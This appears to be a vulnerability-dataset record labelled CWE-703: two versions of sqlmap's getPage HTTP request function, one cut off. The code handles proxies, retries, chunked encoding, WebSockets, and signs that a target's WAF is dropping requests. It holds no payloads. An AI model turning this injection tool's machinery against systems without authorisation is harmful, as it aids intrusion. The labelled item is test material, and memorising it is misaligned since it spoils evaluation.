                    if hasattr(conn.fp, '_sock'):
                        conn.fp._sock.close()
                    conn.close()
                except Exception as ex:
                    warnMsg = ""problem occurred during connection closing ('%s')"" % getSafeExString(ex)
                    logger.warning(warnMsg)

        except SqlmapConnectionException as ex:
            if conf.proxyList and not kb.threadException:
                warnMsg = ""unable to connect to the target URL ('%s')"" % getSafeExString(ex)
                logger.critical(warnMsg)
                threadData.retriesCount = conf.retries
                return Connect._retryProxy(**kwargs)
            else:
                raise

        except _urllib.error.HTTPError as ex:
            page = None
            responseHeaders = None

            if checking:
                return None, None, None

            try:
                page = ex.read() if not skipRead else None
                responseHeaders = ex.info()
                responseHeaders[URI_HTTP_HEADER] = ex.geturl()
                responseHeaders = patchHeaders(responseHeaders)
                page = decodePage(page, responseHeaders.get(HTTP_HEADER.CONTENT_ENCODING), responseHeaders.get(HTTP_HEADER.CONTENT_TYPE), percentDecode=not crawling)
            except socket.timeout:
                warnMsg = ""connection timed out while trying ""
                warnMsg += ""to get error page information (%d)"" % ex.code
                logger.warning(warnMsg)
                return None, None, None
            except KeyboardInterrupt:
                raise
            except:
                pass
            finally:
                page = getUnicode(page)

            code = ex.code
            status = getUnicode(getattr(ex, ""reason"", None) or getSafeExString(ex).split("": "", 1)[-1])

            kb.originalCode = kb.originalCode or code
            threadData.lastHTTPError = (threadData.lastRequestUID, code, status)
            kb.httpErrorCodes[code] = kb.httpErrorCodes.get(code, 0) + 1

            responseMsg += ""[#%d] (%s %s):\r\n"" % (threadData.lastRequestUID, code, status)

            if responseHeaders and getattr(responseHeaders, ""headers"", None):
                logHeaders = """".join(getUnicode(responseHeaders.headers)).strip()

            logHTTPTraffic(requestMsg, ""%s%s\r\n\r\n%s"" % (responseMsg, logHeaders, (page or """")[:MAX_CONNECTION_READ_SIZE]), start, time.time())

            skipLogTraffic = True

            if conf.verbose <= 5:
                responseMsg += getUnicode(logHeaders)
            elif conf.verbose > 5:
                responseMsg += ""%s\r\n\r\n%s"" % (logHeaders, (page or """")[:MAX_CONNECTION_READ_SIZE])

            if not multipart:
                logger.log(CUSTOM_LOGGING.TRAFFIC_IN, responseMsg)

            if code in conf.abortCode:
                errMsg = ""aborting due to detected HTTP code '%d'"" % code
                singleTimeLogMessage(errMsg, logging.CRITICAL)
                raise SystemExit

            if ex.code not in (conf.ignoreCode or []):
                if ex.code == _http_client.UNAUTHORIZED:
                    errMsg = ""not authorized, try to provide right HTTP ""
                    errMsg += ""authentication type and valid credentials (%d). "" % code
                    errMsg += ""If this is intended, try to rerun by providing ""
                    errMsg += ""a valid value for option '--ignore-code'""
                    raise SqlmapConnectionException(errMsg)
                elif chunked and ex.code in (_http_client.METHOD_NOT_ALLOWED, _http_client.LENGTH_REQUIRED):
                    warnMsg = ""turning off HTTP chunked transfer encoding ""
                    warnMsg += ""as it seems that the target site doesn't support it (%d)"" % code
                    singleTimeWarnMessage(warnMsg)
                    conf.chunked = kwargs[""chunked""] = False
                    return Connect.getPage(**kwargs)
                elif ex.code == _http_client.REQUEST_URI_TOO_LONG:
                    warnMsg = ""request URI is marked as too long by the target. ""
                    warnMsg += ""you are advised to try a switch '--no-cast' and/or '--no-escape'""
                    singleTimeWarnMessage(warnMsg)
                elif ex.code == _http_client.NOT_FOUND:
                    if raise404:
                        errMsg = ""page not found (%d)"" % code
                        raise SqlmapConnectionException(errMsg)
                    else:
                        debugMsg = ""page not found (%d)"" % code
                        singleTimeLogMessage(debugMsg, logging.DEBUG)
                elif ex.code == _http_client.GATEWAY_TIMEOUT:
                    if ignoreTimeout:
                        return None if not conf.ignoreTimeouts else """", None, None
                    else:
                        warnMsg = ""unable to connect to the target URL (%d - %s)"" % (ex.code, _http_client.responses[ex.code])
                        if threadData.retriesCount < conf.retries and not kb.threadException:
                            warnMsg += "". sqlmap is going to retry the request""
                            logger.critical(warnMsg)
                            return Connect._retryProxy(**kwargs)
                        elif kb.testMode:
                            logger.critical(warnMsg)
                            return None, None, None
                        else:
                            raise SqlmapConnectionException(warnMsg)
                else:
                    debugMsg = ""got HTTP error code: %d ('%s')"" % (code, status)
                    logger.debug(debugMsg)

        except (_urllib.error.URLError, socket.error, socket.timeout, _http_client.HTTPException, struct.error, binascii.Error, ProxyError, SqlmapCompressionException, WebSocketException, TypeError, ValueError, OverflowError, AttributeError, OSError, AssertionError, KeyError):
            tbMsg = traceback.format_exc()

            if conf.debug:
                dataToStdout(tbMsg)

            if checking:
                return None, None, None
            elif ""KeyError:"" in tbMsg:
                if ""content-length"" in tbMsg:
                    return None, None, None
                else:
                    raise
            elif ""AttributeError:"" in tbMsg:
                if ""WSAECONNREFUSED"" in tbMsg:
                    return None, None, None
                else:
                    raise
            elif ""no host given"" in tbMsg:
                warnMsg = ""invalid URL address used (%s)"" % repr(url)
                raise SqlmapSyntaxException(warnMsg)
            elif any(_ in tbMsg for _ in (""forcibly closed"", ""Connection is already closed"", ""ConnectionAbortedError"")):
                warnMsg = ""connection was forcibly closed by the target URL""
            elif ""timed out"" in tbMsg:
                if kb.testMode and kb.testType not in (None, PAYLOAD.TECHNIQUE.TIME, PAYLOAD.TECHNIQUE.STACKED):
                    singleTimeWarnMessage(""there is a possibility that the target (or WAF/IPS) is dropping 'suspicious' requests"")
                    kb.droppingRequests = True
                warnMsg = ""connection timed out to the target URL""
            elif ""Connection reset"" in tbMsg:
                if not conf.disablePrecon:
                    singleTimeWarnMessage(""turning off pre-connect mechanism because of connection reset(s)"")
                    conf.disablePrecon = True

                if kb.testMode:
                    singleTimeWarnMessage(""there is a possibility that the target (or WAF/IPS) is resetting 'suspicious' requests"")
                    kb.droppingRequests = True
                warnMsg = ""connection reset to the target URL""
            elif ""URLError"" in tbMsg or ""error"" in tbMsg:
                warnMsg = ""unable to connect to the target URL""
                match = re.search(r""Errno \d+\] ([^>\n]+)"", tbMsg)
                if match:
                    warnMsg += "" ('%s')"" % match.group(1).strip()
            elif ""NTLM"" in tbMsg:
                warnMsg = ""there has been a problem with NTLM authentication""
            elif ""Invalid header name"" in tbMsg:  # (e.g. PostgreSQL ::Text payload)
                return None, None, None
            elif ""BadStatusLine"" in tbMsg:
                warnMsg = ""connection dropped or unknown HTTP ""
                warnMsg += ""status code received""
                if not conf.agent and not conf.randomAgent:
                    warnMsg += "". Try to force the HTTP User-Agent ""
                    warnMsg += ""header with option '--user-agent' or switch '--random-agent'""
            elif ""IncompleteRead"" in tbMsg:
                warnMsg = ""there was an incomplete read error while retrieving data ""
                warnMsg += ""from the target URL""
            elif ""Handshake status"" in tbMsg:
                status = re.search(r""Handshake status ([\d]{3})"", tbMsg)
                errMsg = ""websocket handshake status %s"" % status.group(1) if status else ""unknown""
                raise SqlmapConnectionException(errMsg)
            elif ""SqlmapCompressionException"" in tbMsg:
                warnMsg = ""problems with response (de)compression""
                retrying = True
            else:
                warnMsg = ""unable to connect to the target URL""

            if ""BadStatusLine"" not in tbMsg and any((conf.proxy, conf.tor)):
                warnMsg += "" or proxy""

            if silent:
                return None, None, None

            with kb.locks.connError:
                kb.connErrorCounter += 1

                if kb.connErrorCounter >= MAX_CONSECUTIVE_CONNECTION_ERRORS and kb.choices.connError is None:
                    message = ""there seems to be a continuous problem with connection to the target. ""
                    message += ""Are you sure that you want to continue? [y/N] ""

                    kb.choices.connError = readInput(message, default='N', boolean=True)

                if kb.choices.connError is False:
                    raise SqlmapSkipTargetException

            if ""forcibly closed"" in tbMsg:
                logger.critical(warnMsg)
                return None, None, None
            elif ignoreTimeout and any(_ in tbMsg for _ in (""timed out"", ""IncompleteRead"", ""Interrupted system call"")):
                return None if not conf.ignoreTimeouts else """", None, None
            elif threadData.retriesCount < conf.retries and not kb.threadException:
                warnMsg += "". sqlmap is going to retry the request""
                if not retrying:
                    warnMsg += ""(s)""
                    logger.critical(warnMsg)
                else:
                    logger.debug(warnMsg)
                return Connect._retryProxy(**kwargs)
            elif kb.testMode or kb.multiThreadMode:
                logger.critical(warnMsg)
                return None, None, None
            else:
                raise SqlmapConnectionException(warnMsg)

        finally:
            if isinstance(page, six.binary_type):
                if HTTP_HEADER.CONTENT_TYPE in (responseHeaders or {}) and not re.search(TEXT_CONTENT_TYPE_REGEX, responseHeaders[HTTP_HEADER.CONTENT_TYPE]):
                    page = six.text_type(page, errors=""ignore"")
                else:
                    page = getUnicode(page)

            for function in kb.postprocessFunctions:
                try:
                    page, responseHeaders, code = function(page, responseHeaders, code)
                except Exception as ex:
                    errMsg = ""error occurred while running postprocess ""
                    errMsg += ""function '%s' ('%s')"" % (function.__name__, getSafeExString(ex))
                    raise SqlmapGenericException(errMsg)

            for _ in (getattr(conn, ""redcode"", None), code):
                if _ is not None and _ in conf.abortCode:
                    errMsg = ""aborting due to detected HTTP code '%d'"" % _
                    singleTimeLogMessage(errMsg, logging.CRITICAL)
                    raise SystemExit

            threadData.lastPage = page
            threadData.lastCode = code

            socket.setdefaulttimeout(conf.timeout)

        # Dirty patch for Python3.11.0a7 (e.g. https://github.com/sqlmapproject/sqlmap/issues/5091)
        if not sys.version.startswith(""3.11.""):
            if conf.retryOn and re.search(conf.retryOn, page, re.I):
                if threadData.retriesCount < conf.retries:
                    warnMsg = ""forced retry of the request because of undesired page content""
                    logger.warning(warnMsg)
                    return Connect._retryProxy(**kwargs)

        processResponse(page, responseHeaders, code, status)

        if not skipLogTraffic:
            if conn and getattr(conn, ""redurl"", None):
                _ = _urllib.parse.urlsplit(conn.redurl)
                _ = (""%s%s"" % (_.path or ""/"", (""?%s"" % _.query) if _.query else """"))
                requestMsg = re.sub(r""(\n[A-Z]+ ).+?( HTTP/\d)"", r""\g<1>%s\g<2>"" % getUnicode(_).replace(""\\"", ""\\\\""), requestMsg, 1)

                if kb.resendPostOnRedirect is False:
                    requestMsg = re.sub(r""(\[#\d+\]:\n)POST "", r""\g<1>GET "", requestMsg)
                    requestMsg = re.sub(r""(?i)Content-length: \d+\n"", """", requestMsg)
                    requestMsg = re.sub(r""(?s)\n\n.+"", ""\n"", requestMsg)

                responseMsg += ""[#%d] (%s %s):\r\n"" % (threadData.lastRequestUID, conn.code, status)
            elif ""\n"" not in responseMsg:
                responseMsg += ""[#%d] (%s %s):\r\n"" % (threadData.lastRequestUID, code, status)

            if responseHeaders:
                logHeaders = """".join(getUnicode(responseHeaders.headers)).strip()

            logHTTPTraffic(requestMsg, ""%s%s\r\n\r\n%s"" % (responseMsg, logHeaders, (page or """")[:MAX_CONNECTION_READ_SIZE]), start, time.time())

            if conf.verbose <= 5:
                responseMsg += getUnicode(logHeaders)
            elif conf.verbose > 5:
                responseMsg += ""%s\r\n\r\n%s"" % (logHeaders, (page or """")[:MAX_CONNECTION_READ_SIZE])

            if not multipart:
                logger.log(CUSTOM_LOGGING.TRAFFIC_IN, responseMsg)

        return page, responseHeaders, code",CWE-703,sqlmapproject/sqlmap,1230e57fcaca4f1ff443370d8856f2939b729704,"def getPage(**kwargs):
        """"""
        This method connects to the target URL or proxy and returns
        the target URL page content
        """"""

        if conf.offline:
            return None, None, None

        url = kwargs.get(""url"", None) or conf.url
        get = kwargs.get(""get"", None)
        post = kwargs.get(""post"", None)
        method = kwargs.get(""method"", None)
        cookie = kwargs.get(""cookie"", None)
        ua = kwargs.get(""ua"", None) or conf.agent
        referer = kwargs.get(""referer"", None) or conf.referer
        host = kwargs.get(""host"", None) or conf.host
        direct_ = kwargs.get(""direct"", False)
        multipart = kwargs.get(""multipart"", None)
        silent = kwargs.get(""silent"", False)
        raise404 = kwargs.get(""raise404"", True)
        timeout = kwargs.get(""timeout"", None) or conf.timeout
        auxHeaders = kwargs.get(""auxHeaders"", None)
        response = kwargs.get(""response"", False)
        ignoreTimeout = kwargs.get(""ignoreTimeout"", False) or kb.ignoreTimeout or conf.ignoreTimeouts
        refreshing = kwargs.get(""refreshing"", False)
        retrying = kwargs.get(""retrying"", False)
        crawling = kwargs.get(""crawling"", False)
        checking = kwargs.get(""checking"", False)
        skipRead = kwargs.get(""skipRead"", False)
        finalCode = kwargs.get(""finalCode"", False)
        chunked = kwargs.get(""chunked"", False) or conf.chunked

        start = time.time()

        if isinstance(conf.delay, (int, float)) and conf.delay > 0:
            time.sleep(conf.delay)

        threadData = getCurrentThreadData()
        with kb.locks.request:
            kb.requestCounter += 1
            threadData.lastRequestUID = kb.requestCounter

            if conf.proxyFreq:
                if kb.requestCounter % conf.proxyFreq == 0:
                    conf.proxy = None

                    warnMsg = ""changing proxy""
                    logger.warning(warnMsg)

                    setHTTPHandlers()

        if conf.dummy or conf.murphyRate and randomInt() % conf.murphyRate == 0:
            if conf.murphyRate:
                time.sleep(randomInt() % (MAX_MURPHY_SLEEP_TIME + 1))

            page, headers, code = randomStr(int(randomInt()), alphabet=[_unichr(_) for _ in xrange(256)]), None, None if not conf.murphyRate else randomInt(3)

            threadData.lastPage = page
            threadData.lastCode = code

            return page, headers, code

        if conf.liveCookies:
            with kb.locks.liveCookies:
                if not checkFile(conf.liveCookies, raiseOnError=False) or os.path.getsize(conf.liveCookies) == 0:
                    warnMsg = ""[%s] [WARNING] live cookies file '%s' is empty or non-existent. Waiting for timeout (%d seconds)"" % (time.strftime(""%X""), conf.liveCookies, LIVE_COOKIES_TIMEOUT)
                    dataToStdout(warnMsg)

                    valid = False
                    for _ in xrange(LIVE_COOKIES_TIMEOUT):
                        if checkFile(conf.liveCookies, raiseOnError=False) and os.path.getsize(conf.liveCookies) > 0:
                            valid = True
                            break
                        else:
                            dataToStdout('.')
                            time.sleep(1)

                    dataToStdout(""\n"")

                    if not valid:
                        errMsg = ""problem occurred while loading cookies from file '%s'"" % conf.liveCookies
                        raise SqlmapValueException(errMsg)

                cookie = openFile(conf.liveCookies).read().strip()
                cookie = re.sub(r""(?i)\ACookie:\s*"", """", cookie)

        if multipart:
            post = multipart
        else:
            if not post:
                chunked = False

            elif chunked:
                post = _urllib.parse.unquote(post)
                post = chunkSplitPostData(post)

        webSocket = url.lower().startswith(""ws"")

        if not _urllib.parse.urlsplit(url).netloc:
            url = _urllib.parse.urljoin(conf.url, url)

        # flag to know if we are dealing with the same target host
        target = checkSameHost(url, conf.url)

        if not retrying:
            # Reset the number of connection retries
            threadData.retriesCount = 0

        # fix for known issue when urllib2 just skips the other part of provided
        # url splitted with space char while urlencoding it in the later phase
        url = url.replace("" "", ""%20"")

        if ""://"" not in url:
            url = ""http://%s"" % url

        conn = None
        page = None
        code = None
        status = None

        _ = _urllib.parse.urlsplit(url)
        requestMsg = u""HTTP request [#%d]:\r\n%s "" % (threadData.lastRequestUID, method or (HTTPMETHOD.POST if post is not None else HTTPMETHOD.GET))
        requestMsg += getUnicode((""%s%s"" % (_.path or ""/"", (""?%s"" % _.query) if _.query else """")) if not any((refreshing, crawling, checking)) else url)
        responseMsg = u""HTTP response ""
        requestHeaders = u""""
        responseHeaders = None
        logHeaders = u""""
        skipLogTraffic = False

        raise404 = raise404 and not kb.ignoreNotFound

        # support for non-latin (e.g. cyrillic) URLs as urllib/urllib2 doesn't
        # support those by default
        url = asciifyUrl(url)

        try:
            socket.setdefaulttimeout(timeout)

            if direct_:
                if '?' in url:
                    url, params = url.split('?', 1)
                    params = urlencode(params)
                    url = ""%s?%s"" % (url, params)

            elif any((refreshing, crawling, checking)):
                pass

            elif target:
                if conf.forceSSL:
                    url = re.sub(r""(?i)\A(http|ws):"", r""\g<1>s:"", url)
                    url = re.sub(r""(?i):80/"", "":443/"", url)

                if PLACE.GET in conf.parameters and not get:
                    get = conf.parameters[PLACE.GET]

                    if not conf.skipUrlEncode:
                        get = urlencode(get, limit=True)

                if get:
                    if '?' in url:
                        url = ""%s%s%s"" % (url, DEFAULT_GET_POST_DELIMITER, get)
                        requestMsg += ""%s%s"" % (DEFAULT_GET_POST_DELIMITER, get)
                    else:
                        url = ""%s?%s"" % (url, get)
                        requestMsg += ""?%s"" % get

                if PLACE.POST in conf.parameters and not post and method != HTTPMETHOD.GET:
                    post = conf.parameters[PLACE.POST]

            elif get:
                url = ""%s?%s"" % (url, get)
                requestMsg += ""?%s"" % get

            requestMsg += "" %s"" % _http_client.HTTPConnection._http_vsn_str

            # Prepare HTTP headers
            headers = forgeHeaders({HTTP_HEADER.COOKIE: cookie, HTTP_HEADER.USER_AGENT: ua, HTTP_HEADER.REFERER: referer, HTTP_HEADER.HOST: host}, base=None if target else {})

            if HTTP_HEADER.COOKIE in headers:
                cookie = headers[HTTP_HEADER.COOKIE]

            if kb.authHeader:
                headers[HTTP_HEADER.AUTHORIZATION] = kb.authHeader

            if kb.proxyAuthHeader:
                headers[HTTP_HEADER.PROXY_AUTHORIZATION] = kb.proxyAuthHeader

            if not conf.requestFile or not target:
                if not getHeader(headers, HTTP_HEADER.HOST):
                    headers[HTTP_HEADER.HOST] = getHostHeader(url)

                if not getHeader(headers, HTTP_HEADER.ACCEPT):
                    headers[HTTP_HEADER.ACCEPT] = HTTP_ACCEPT_HEADER_VALUE

                if not getHeader(headers, HTTP_HEADER.ACCEPT_ENCODING):
                    headers[HTTP_HEADER.ACCEPT_ENCODING] = HTTP_ACCEPT_ENCODING_HEADER_VALUE if kb.pageCompress else ""identity""

            elif conf.requestFile and getHeader(headers, HTTP_HEADER.USER_AGENT) == DEFAULT_USER_AGENT:
                for header in headers:
                    if header.upper() == HTTP_HEADER.USER_AGENT.upper():
                        del headers[header]
                        break

            if post is not None and not multipart and not getHeader(headers, HTTP_HEADER.CONTENT_TYPE):
                headers[HTTP_HEADER.CONTENT_TYPE] = POST_HINT_CONTENT_TYPES.get(kb.postHint, DEFAULT_CONTENT_TYPE if unArrayizeValue(conf.base64Parameter) != HTTPMETHOD.POST else PLAIN_TEXT_CONTENT_TYPE)

            if headers.get(HTTP_HEADER.CONTENT_TYPE) == POST_HINT_CONTENT_TYPES[POST_HINT.MULTIPART]:
                warnMsg = ""missing 'boundary parameter' in '%s' header. "" % HTTP_HEADER.CONTENT_TYPE
                warnMsg += ""Will try to reconstruct""
                singleTimeWarnMessage(warnMsg)

                boundary = findMultipartPostBoundary(conf.data)
                if boundary:
                    headers[HTTP_HEADER.CONTENT_TYPE] = ""%s; boundary=%s"" % (headers[HTTP_HEADER.CONTENT_TYPE], boundary)

            if conf.keepAlive:
                headers[HTTP_HEADER.CONNECTION] = ""keep-alive""

            if chunked:
                headers[HTTP_HEADER.TRANSFER_ENCODING] = ""chunked""

            if auxHeaders:
                headers = forgeHeaders(auxHeaders, headers)

            if kb.headersFile:
                content = openFile(kb.headersFile, ""rb"").read()
                for line in content.split(""\n""):
                    line = getText(line.strip())
                    if ':' in line:
                        header, value = line.split(':', 1)
                        headers[header] = value

            if conf.localhost:
                headers[HTTP_HEADER.HOST] = ""localhost""

            for key, value in list(headers.items()):
                if key.upper() == HTTP_HEADER.ACCEPT_ENCODING.upper():
                    value = re.sub(r""(?i)(,)br(,)?"", lambda match: ',' if match.group(1) and match.group(2) else """", value) or ""identity""

                del headers[key]
                if isinstance(value, six.string_types):
                    for char in (r""\r"", r""\n""):
                        value = re.sub(r""(%s)([^ \t])"" % char, r""\g<1>\t\g<2>"", value)
                    headers[getBytes(key) if six.PY2 else key] = getBytes(value.strip(""\r\n""))  # Note: Python3 has_header() expects non-bytes value

            if six.PY2:
                url = getBytes(url)  # Note: Python3 requires text while Python2 has problems when mixing text with binary POST

            if webSocket:
                ws = websocket.WebSocket()
                ws.settimeout(WEBSOCKET_INITIAL_TIMEOUT if kb.webSocketRecvCount is None else timeout)
                ws.connect(url, header=(""%s: %s"" % _ for _ in headers.items() if _[0] not in (""Host"",)), cookie=cookie)  # WebSocket will add Host field of headers automatically
                ws.send(urldecode(post or """"))

                _page = []

                if kb.webSocketRecvCount is None:
                    while True:
                        try:
                            _page.append(ws.recv())
                        except websocket.WebSocketTimeoutException:
                            kb.webSocketRecvCount = len(_page)
                            break
                else:
                    for i in xrange(max(1, kb.webSocketRecvCount)):
                        _page.append(ws.recv())

                page = ""\n"".join(_page)

                ws.close()
                code = ws.status
                status = _http_client.responses[code]

                class _(dict):
                    pass

                responseHeaders = _(ws.getheaders())
                responseHeaders.headers = [""%s: %s\r\n"" % (_[0].capitalize(), _[1]) for _ in responseHeaders.items()]

                requestHeaders += ""\r\n"".join([""%s: %s"" % (u""-"".join(_.capitalize() for _ in getUnicode(key).split(u'-')) if hasattr(key, ""capitalize"") else getUnicode(key), getUnicode(value)) for (key, value) in responseHeaders.items()])
                requestMsg += ""\r\n%s"" % requestHeaders

                if post is not None:
                    requestMsg += ""\r\n\r\n%s"" % getUnicode(post)

                requestMsg += ""\r\n""

                threadData.lastRequestMsg = requestMsg

                logger.log(CUSTOM_LOGGING.TRAFFIC_OUT, requestMsg)
            else:
                post = getBytes(post)

                if unArrayizeValue(conf.base64Parameter) == HTTPMETHOD.POST:
                    if kb.place != HTTPMETHOD.POST:
                        conf.data = getattr(conf.data, UNENCODED_ORIGINAL_VALUE, conf.data)
                    else:
                        post = urldecode(post, convall=True)
                        post = encodeBase64(post)

                if target and cmdLineOptions.method or method and method not in (HTTPMETHOD.GET, HTTPMETHOD.POST):
                    req = MethodRequest(url, post, headers)
                    req.set_method(cmdLineOptions.method or method)
                elif url is not None:
                    req = _urllib.request.Request(url, post, headers)
                else:
                    return None, None, None

                for function in kb.preprocessFunctions:
                    try:
                        function(req)
                    except Exception as ex:
                        errMsg = ""error occurred while running preprocess ""
                        errMsg += ""function '%s' ('%s')"" % (function.__name__, getSafeExString(ex))
                        raise SqlmapGenericException(errMsg)
                    else:
                        post, headers = req.data, req.headers

                requestHeaders += ""\r\n"".join([""%s: %s"" % (u""-"".join(_.capitalize() for _ in getUnicode(key).split(u'-')) if hasattr(key, ""capitalize"") else getUnicode(key), getUnicode(value)) for (key, value) in req.header_items()])

                if not getRequestHeader(req, HTTP_HEADER.COOKIE) and conf.cj:
                    conf.cj._policy._now = conf.cj._now = int(time.time())
                    with conf.cj._cookies_lock:
                        cookies = conf.cj._cookies_for_request(req)
                    requestHeaders += ""\r\n%s"" % (""Cookie: %s"" % "";"".join(""%s=%s"" % (getUnicode(cookie.name), getUnicode(cookie.value)) for cookie in cookies))

                if post is not None:
                    if not getRequestHeader(req, HTTP_HEADER.CONTENT_LENGTH) and not chunked:
                        requestHeaders += ""\r\n%s: %d"" % (string.capwords(HTTP_HEADER.CONTENT_LENGTH), len(post))

                if not getRequestHeader(req, HTTP_HEADER.CONNECTION):
                    requestHeaders += ""\r\n%s: %s"" % (HTTP_HEADER.CONNECTION, ""close"" if not conf.keepAlive else ""keep-alive"")

                requestMsg += ""\r\n%s"" % requestHeaders

                if post is not None:
                    requestMsg += ""\r\n\r\n%s"" % getUnicode(post)

                if not chunked:
                    requestMsg += ""\r\n""

                if not multipart:
                    threadData.lastRequestMsg = requestMsg

                    logger.log(CUSTOM_LOGGING.TRAFFIC_OUT, requestMsg)

                if conf.cj:
                    for cookie in conf.cj:
                        if cookie.value is None:
                            cookie.value = """"
                        else:
                            for char in (r""\r"", r""\n""):
                                cookie.value = re.sub(r""(%s)([^ \t])"" % char, r""\g<1>\t\g<2>"", cookie.value)

                conn = _urllib.request.urlopen(req)

                if not kb.authHeader and getRequestHeader(req, HTTP_HEADER.AUTHORIZATION) and (conf.authType or """").lower() == AUTH_TYPE.BASIC.lower():
                    kb.authHeader = getUnicode(getRequestHeader(req, HTTP_HEADER.AUTHORIZATION))

                if not kb.proxyAuthHeader and getRequestHeader(req, HTTP_HEADER.PROXY_AUTHORIZATION):
                    kb.proxyAuthHeader = getRequestHeader(req, HTTP_HEADER.PROXY_AUTHORIZATION)

                # Return response object
                if response:
                    return conn, None, None

                # Get HTTP response
                if hasattr(conn, ""redurl""):
                    page = (threadData.lastRedirectMsg[1] if kb.choices.redirect == REDIRECTION.NO else Connect._connReadProxy(conn)) if not skipRead else None
                    skipLogTraffic = kb.choices.redirect == REDIRECTION.NO
                    code = conn.redcode if not finalCode else code
                else:
                    page = Connect._connReadProxy(conn) if not skipRead else None

                if conn:
                    code = (code or conn.code) if conn.code == kb.originalCode else conn.code  # do not override redirection code (for comparison purposes)
                    responseHeaders = conn.info()
                    responseHeaders[URI_HTTP_HEADER] = conn.geturl() if hasattr(conn, ""geturl"") else url

                    if hasattr(conn, ""redurl""):
                        responseHeaders[HTTP_HEADER.LOCATION] = conn.redurl

                    responseHeaders = patchHeaders(responseHeaders)
                    kb.serverHeader = responseHeaders.get(HTTP_HEADER.SERVER, kb.serverHeader)
                else:
                    code = None
                    responseHeaders = {}

                page = decodePage(page, responseHeaders.get(HTTP_HEADER.CONTENT_ENCODING), responseHeaders.get(HTTP_HEADER.CONTENT_TYPE), percentDecode=not crawling)
                status = getUnicode(conn.msg) if conn and getattr(conn, ""msg"", None) else None

            kb.connErrorCounter = 0

            if not refreshing:
                refresh = responseHeaders.get(HTTP_HEADER.REFRESH, """").split(""url="")[-1].strip()

                if extractRegexResult(META_REFRESH_REGEX, page):
                    refresh = extractRegexResult(META_REFRESH_REGEX, page)

                    debugMsg = ""got HTML meta refresh header""
                    logger.debug(debugMsg)

                if not refresh:
                    refresh = extractRegexResult(JAVASCRIPT_HREF_REGEX, page)

                    if refresh:
                        debugMsg = ""got Javascript redirect logic""
                        logger.debug(debugMsg)

                if refresh:
                    if kb.alwaysRefresh is None:
                        msg = ""got a refresh intent ""
                        msg += ""(redirect like response common to login pages) to '%s'. "" % refresh
                        msg += ""Do you want to apply it from now on? [Y/n]""

                        kb.alwaysRefresh = readInput(msg, default='Y', boolean=True)

                    if kb.alwaysRefresh:
                        if re.search(r""\Ahttps?://"", refresh, re.I):
                            url = refresh
                        else:
                            url = _urllib.parse.urljoin(url, refresh)

                        threadData.lastRedirectMsg = (threadData.lastRequestUID, page)
                        kwargs[""refreshing""] = True
                        kwargs[""url""] = url
                        kwargs[""get""] = None
                        kwargs[""post""] = None

                        try:
                            return Connect._getPageProxy(**kwargs)
                        except SqlmapSyntaxException:
                            pass

            # Explicit closing of connection object
            if conn and not conf.keepAlive:
                try:
                    if hasattr(conn.fp, '_sock'):
                        conn.fp._sock.close()
                    conn.close()
                except Exception as ex:
                    warnMsg = ""problem occurred during connection closing ('%s')"" % getSafeExString(ex)
                    logger.warning(warnMsg)

        except SqlmapConnectionException as ex:
            if conf.proxyList and not kb.threadException:
                warnMsg = ""unable to connect to the target URL ('%s')"" % getSafeExString(ex)
                logger.critical(warnMsg)
                threadData.retriesCount = conf.retries
                return Connect._retryProxy(**kwargs)
            else:
                raise

        except _urllib.error.HTTPError as ex:
            page = None
            responseHeaders = None

            if checking:
                return None, None, None

            try:
                page = ex.read() if not skipRead else None
                responseHeaders = ex.info()
                responseHeaders[URI_HTTP_HEADER] = ex.geturl()
                responseHeaders = patchHeaders(responseHeaders)
                page = decodePage(page, responseHeaders.get(HTTP_HEADER.CONTENT_ENCODING), responseHeaders.get(HTTP_HEADER.CONTENT_TYPE), percentDecode=not crawling)
            except socket.timeout:
                warnMsg = ""connection timed out while trying ""
                warnMsg += ""to get error page information (%d)"" % ex.code
                logger.warning(warnMsg)
                return None, None, None
            except KeyboardInterrupt:
                raise
            except:
                pass
            finally:
                page = getUnicode(page)

            code = ex.code
            status = getUnicode(getattr(ex, ""reason"", None) or getSafeExString(ex).split("": "", 1)[-1])

            kb.originalCode = kb.originalCode or code
            threadData.lastHTTPError = (threadData.lastRequestUID, code, status)
            kb.httpErrorCodes[code] = kb.httpErrorCodes.get(code, 0) + 1

            responseMsg += ""[#%d] (%s %s):\r\n"" % (threadData.lastRequestUID, code, status)

            if responseHeaders and getattr(responseHeaders, ""headers"", None):
                logHeaders = """".join(getUnicode(responseHeaders.headers)).strip()

            logHTTPTraffic(requestMsg, ""%s%s\r\n\r\n%s"" % (responseMsg, logHeaders, (page or """")[:MAX_CONNECTION_READ_SIZE]), start, time.time())

            skipLogTraffic = True

            if conf.verbose <= 5:
                responseMsg += getUnicode(logHeaders)
            elif conf.verbose > 5:
                responseMsg += ""%s\r\n\r\n%s"" % (logHeaders, (page or """")[:MAX_CONNECTION_READ_SIZE])

            if not multipart:
                logger.log(CUSTOM_LOGGING.TRAFFIC_IN, responseMsg)

            if code in conf.abortCode:
                errMsg = ""aborting due to detected HTTP code '%d'"" % code
                singleTimeLogMessage(errMsg, logging.CRITICAL)
                raise SystemExit

            if ex.code not in (conf.ignoreCode or []):
                if ex.code == _http_client.UNAUTHORIZED:
                    errMsg = ""not authorized, try to provide right HTTP ""
                    errMsg += ""authentication type and valid credentials (%d). "" % code
                    errMsg += ""If this is intended, try to rerun by providing ""
                    errMsg += ""a valid value for option '--ignore-code'""
                    raise SqlmapConnectionException(errMsg)
                elif chunked and ex.code in (_http_client.METHOD_NOT_ALLOWED, _http_client.LENGTH_REQUIRED):
                    warnMsg = ""turning off HTTP chunked transfer encoding ""
                    warnMsg += ""as it seems that the target site doesn't support it (%d)"" % code
                    singleTimeWarnMessage(warnMsg)
                    conf.chunked = kwargs[""chunked""] = False
                    return Connect.getPage(**kwargs)
                elif ex.code == _http_client.REQUEST_URI_TOO_LONG:
                    warnMsg = ""request URI is marked as too long by the target. ""
                    warnMsg += ""you are advised to try a switch '--no-cast' and/or '--no-escape'""
                    singleTimeWarnMessage(warnMsg)
                elif ex.code == _http_client.NOT_FOUND:
                    if raise404:
                        errMsg = ""page not found (%d)"" % code
                        raise SqlmapConnectionException(errMsg)
                    else:
                        debugMsg = ""page not found (%d)"" % code
                        singleTimeLogMessage(debugMsg, logging.DEBUG)
                elif ex.code == _http_client.GATEWAY_TIMEOUT:
                    if ignoreTimeout:
                        return None if not conf.ignoreTimeouts else """", None, None
                    else:
                        warnMsg = ""unable to connect to the target URL (%d - %s)"" % (ex.code, _http_client.responses[ex.code])
                        if threadData.retriesCount < conf.retries and not kb.threadException:
                            warnMsg += "". sqlmap is going to retry the request""
